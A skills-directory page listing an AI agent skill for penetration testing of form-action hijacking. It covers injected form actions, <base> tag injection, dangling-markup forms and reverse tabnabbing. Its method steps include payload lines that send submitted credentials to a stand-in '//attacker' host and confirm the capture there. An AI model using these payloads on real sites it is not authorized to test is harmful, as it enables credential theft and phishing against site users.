Form-action hijacking and dangling-markup form injection — injecting or overriding a form's action/target (or a base tag) so credentials/data submit to an attacker, including reverse-tabnabbing and target hijacking. Tier 1. Payloads: payloads/client-side.md. Use when markup injection or a controllable base/action is present on a form page.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Form Action Hijack?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-form-action-hijack)
---
name: form-action-hijack
description: "Form-action hijacking and dangling-markup form injection — injecting or overriding a form's action/target (or a base tag) so credentials/data submit to an attacker, including reverse-tabnabbing and target hijacking. Tier 1. Payloads: payloads/client-side.md. Use when markup injection or a controllable base/action is present on a form page."
---
# Form-Action Hijacking
Redirect where a form submits — stealing credentials or data entered by the victim on a trusted page.
## Trigger phrases
`form action hijack, base tag injection, form hijacking, dangling markup form, action override`
## Method
1. **Injected/overridden action:** if you can inject markup before a form or control its `action`, point it at your server (`<form action="//attacker">`) so submitted credentials/data exfiltrate.
2. **`<base>` injection:** inject `<base href="//attacker/">` so relative form actions/resources resolve to your host.
3. **Dangling-markup form:** unterminated `<form action="//attacker/?` captures subsequent fields.
4. **Reverse tabnabbing:** `target=_blank` without `rel=noopener` → opened page rewrites `window.opener.location` to a phishing page.
5. Confirm captured submission on your server.
## Escalation
Credential theft on a trusted origin, data exfiltration, phishing.
## Backend & tooling
Preferred Kali path or headless browser for client-side execution/evidence; if a Burp MCP is present, proxy traffic for visibility and send PoCs to Repeater (see `zazy-orchestrator`).
## Verification (background, before reporting)
Reproduce in a real browser / second context and confirm impact before marking CONFIRMED; use OAST for blind cases. Report true positives only.
## Evidence
The injected action/base/markup and proof of captured form data on the attacker side.